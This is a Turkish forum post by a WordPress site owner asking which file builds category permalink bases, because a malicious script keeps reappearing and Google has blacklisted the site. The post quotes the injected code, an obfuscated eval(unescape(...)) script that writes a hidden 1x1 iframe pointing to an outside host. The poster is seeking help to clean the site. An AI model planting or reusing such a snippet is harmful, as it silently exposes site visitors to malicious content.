Merhaba arkadaşlar.Son iki gündür bir virüsle uğraşıp duruyorum. Virüsün olduğu dosyları bulup temizledim attım bilgileri değiştim ertesi gün gene gelmiş. Sonra tüm sistemi sıfırdan kurdum ertesi gün gene gelmiş... Bilgisayarımdan bulaşıyor diyerek pc e format attım ama nafile gene bu gün gelmiş. Google siteyi banlamış. zararlı kodun
hddizifilmizle.net/Seyret
url'sinde olduğunu sölüyor. Seyret ise kalıcı bağlantılardan ayarladığım kategori temeli.İşte bu dosya nerde dir? wp-includes e komple baktım yok. atılan kod aşağıda ki gibi... Kategori ve etiket temellerini hangi dosya oluşturuyor bunu söyleserseniz ordan direk temizleyim.
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%34%31%30%33%
32%39%36%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%
31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script> 
